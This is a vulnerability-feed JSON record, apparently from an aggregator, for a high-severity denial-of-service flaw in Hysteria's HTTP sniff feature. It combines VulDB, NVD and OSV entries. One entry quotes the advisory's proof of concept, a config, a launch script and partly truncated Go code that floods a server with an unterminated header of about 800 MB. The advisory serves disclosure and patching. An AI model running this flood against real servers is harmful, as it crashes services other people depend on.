{"vuln_id":"CVE-2026-134456","aliases":["GHSA-jqc5-2p7q-fqfc"],"description":"Hysteria 2.5.0 before 2.9.2 contains a denial of service vulnerability in the HTTP sniff implementation that fails to limit header size. Attackers can continuously send excessively large HTTP headers without terminating them, exhausting server memory and causing out-of-memory crashes.","published_at":"2026-06-26T20:19:01Z","modified_at":"2026-11-21T18:10:52.122974Z","first_seen_at":"2026-11-21T19:15:21.306939Z","severity":"high","severity_source":"nvd","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":["CWE-770"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":"Received","enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-134456"},"matched_alias":null,"items":[{"id":2701,"source":{"id":"vuldb","name":"VulDB recent entries"},"title":"CVE-2026-134456 | HyNetworks Hysteria up to 2.9.1 HTTP Sniff Implementation denial of service","summary":"A vulnerability marked as problematic has been reported in HyNetworks Hysteria up to 2.9.1. This vulnerability affects unknown code of the component HTTP Sniff Implementation. Performing a manipulation results in denial of service.\n\nThis vulnerability is known as CVE-2026-134456. Remote exploitation of the attack is possible. No exploit is available.\n\nIt is suggested to upgrade the affected component.","url":"https://vuldb.com/vuln/442006","published_at":"2026-11-21T17:37:18Z","updated_at":"2026-11-21T17:37:18Z","fetched_at":"2026-11-21T19:15:21.123004Z","severity":"high","cvss_score":8.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"HyNetworks","product":"Hysteria","vuln_id":"CVE-2026-134456","vuln_ids":["CVE-2026-134456","GHSA-JQC5-2P7Q-FQFC"],"tags":["Vendor: HyNetworks","Product: Hysteria","Risk: problematic","Physical: No","Local: No","Remote: Yes","Exploit: No","Countermeasures: Upgrade"],"cluster_id":2784,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2701","html":"https://vulnwatch.ve1ve2.com/item/2701"}},{"id":10427,"source":{"id":"nvd","name":"NVD CVE API 2.0"},"title":"CVE-2026-134456: Hysteria 2.5.0 before 2.9.2 contains a denial of service vulnerability in the HTTP sniff implementation that fails to limit header size. Attackers can continuo…","summary":"Hysteria 2.5.0 before 2.9.2 contains a denial of service vulnerability in the HTTP sniff implementation that fails to limit header size. Attackers can continuously send excessively large HTTP headers without terminating them, exhausting server memory and causing out-of-memory crashes.\n\nReferences:\nhttps://github.com/HyNetworks/hysteria/security/advisories/GHSA-jqc5-2p7q-fqfc\nhttps://www.vulncheck.com/advisories/hysteria-2.5.0-before-2.9.2-denial-of-service-via-http-sniff-header","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-134456","published_at":"2026-11-21T17:17:10.850000Z","updated_at":"2026-11-21T17:17:10.850000Z","fetched_at":"2026-11-21T19:15:31.485953Z","severity":"high","cvss_score":8.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":null,"vuln_id":"CVE-2026-134456","vuln_ids":["CVE-2026-134456","GHSA-JQC5-2P7Q-FQFC"],"tags":["CWE-770"],"cluster_id":2784,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10427","html":"https://vulnwatch.ve1ve2.com/item/10427"}},{"id":10948,"source":{"id":"osv","name":"OSV.dev"},"title":"GO-2026-5813: Hysteria: http large header with sniff cause server DoS in github.com/apernet/hysteria","summary":"Hysteria: http large header with sniff cause server DoS in github.com/apernet/hysteria.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/apernet/hysteria before v2.9.2.\n\nAffected: Go:github.com/apernet/hysteria\n\nNo fixed version published yet\n\nReferences:\nhttps://github.com/apernet/hysteria/security/advisories/GHSA-jqc5-2p7q-fqfc","url":"https://osv.dev/vulnerability/GO-2026-5813","published_at":"2026-07-07T15:26:32Z","updated_at":"2026-11-21T18:10:52.122974Z","fetched_at":"2026-11-21T19:15:55.946323Z","severity":"high","cvss_score":8.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/apernet/hysteria","vuln_id":"CVE-2026-134456","vuln_ids":["CVE-2026-134456","GHSA-JQC5-2P7Q-FQFC","GO-2026-5813"],"tags":["osv","go","no-fix-yet"],"cluster_id":2784,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10948","html":"https://vulnwatch.ve1ve2.com/item/10948"}},{"id":10947,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-jqc5-2p7q-fqfc: Hysteria: http large header with sniff cause server DoS","summary":"Hysteria: http large header with sniff cause server DoS\n\n### Summary\n\nSending an excessively large header by an attacker could lead to a server-side DoS attack.\n\n### Details\nThe current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \\r\\n\\r\\n, leading to ServerDoS and OutOfMemory errors.\n\n### PoC\n\nserver.yaml\n```\nlisten: 127.0.0.1:8443\n\ntls:\ncert: poc_server.crt\nkey: poc_server.key\n\nauth:\ntype: password\npassword: sniff-poc-password\n\nsniff:\nenable: true\ntimeout: 10s\nrewriteDomain: false\ntcpPorts: 80\n\nmasquerade:\ntype: string\nstring:\ncontent: nope\nstatusCode: 404\n```\n\npoc.sh\n```\n#!/bin/bash\ngo build poc_sniff_http_dos.go\n./poc_sniff_http_dos \\\n--server 127.0.0.1:8443 \\\n--auth sniff-poc-password \\\n--insecure \\\n--target-host 192.0.2.1 \\\n--target-port 80 \\\n--connections 16 \\\n--header-bytes 838860800 \\\n--linger 12\n```\n\npoc.go\n```\n//go:build poc\n\npackage main\n\nimport (\n\"crypto/sha256\"\n\"crypto/x509\"\n\"encoding/hex\"\n\"errors\"\n\"flag\"\n\"fmt\"\n\"net\"\n\"strings\"\n\"sync\"\n\"time\"\n\ncoreclient \"github.com/apernet/hysteria/core/v2/client\"\n\"github.com/apernet/hysteria/extras/v2/obfs\"\n)\n\ntype attackConnFactory struct {\nobfuscator obfs.Obfuscator\n}\n\nfunc (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) {\nconn, err := net.ListenUDP(\"udp\", nil)\nif err != nil {\nreturn nil, err\n}\nif f.obfuscator == nil {\nreturn conn, nil\n}\nreturn obfs.WrapPacketConn(conn, f.obfuscator), nil\n}\n\nfunc buildHeaderPayload(totalBytes, chunkSize int) []byte {\nprefix := []byte(\"GET / HTTP/1.1\\r\\nHost: victim\\r\\nUser-Agent: hy2-sniff-poc\\r\\n\")\nif totalBytes <= len(prefix) {\nreturn prefix[:totalBytes]\n}\nout := make([]byte, 0, totalBytes)\nout = append(out, prefix...)\nlinePayload := chunkSize - 32\nif linePayload < 64 {\nlinePayload = 64\n}\nfor i := 0; len(out) < totalBytes; i++ {\nline := fmt.Sprintf(\"X-Fill-%06d: %s\\r\\n\", i, strings.Repeat(\"A\", linePayload))\nremain := totalBytes - len(out)\nif len(line) > remain {\nline = line[:remain]\n}\nout = append(out, line...)\n}\n// 故意不追加最后一个空行 \\r\\n，迫使服务端在 sniff timeout 内持续读 header。\nreturn out\n}\n\nfunc makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) {\nserverAddr, err := net.ResolveUDPAddr(\"udp\", server)\nif err != nil {\nreturn nil, err\n}\ncfg := &coreclient.Config{\nConnFactory: &attackConnFactory{},\nServerAddr: serverAddr,\nAuth: auth,\nTLSConfig: coreclient.TLSConfig{\nInsecureSkipVerify: insecure,\n},\n}\nhost, _, err := net.SplitHostPort(server)\nif err == nil && sni == \"\" && net.ParseIP(host) == nil {\ncfg.TLSConfig.ServerName = host\n}\nif sni != \"\" {\ncfg.TLSConfig.ServerName = sni\n}\nif pinSHA256 != \"\" {\nnHash := strings.ToLower(strings.ReplaceAll(pinSHA256, \":\", \"\"))\ncfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {\nif len(rawCerts) == 0 {\nreturn err\n\nAffected: Go:github.com/apernet/hysteria\n\nFixed in: 2.9.2\n\nReferences:\nhttps://github.com/apernet/hysteria/security/advisories/GHSA-jqc5-2p7q-fqfc\nhttps://github.com/apernet/hysteria","url":"https://osv.dev/vulnerability/GHSA-jqc5-2p7q-fqfc","published_at":"2026-06-26T20:19:01Z","updated_at":"2026-11-21T18:10:52.122974Z","fetched_at":"2026-11-21T19:15:55.946322Z","severity":"high","cvss_score":8.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/apernet/hysteria","vuln_id":"CVE-2026-134456","vuln_ids":["CVE-2026-134456","GHSA-JQC5-2P7Q-FQFC","GO-2026-5813"],"tags":["osv","go","fix-available"],"cluster_id":10579,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10947","html":"https://vulnwatch.ve1ve2.com/item/10947"}}]}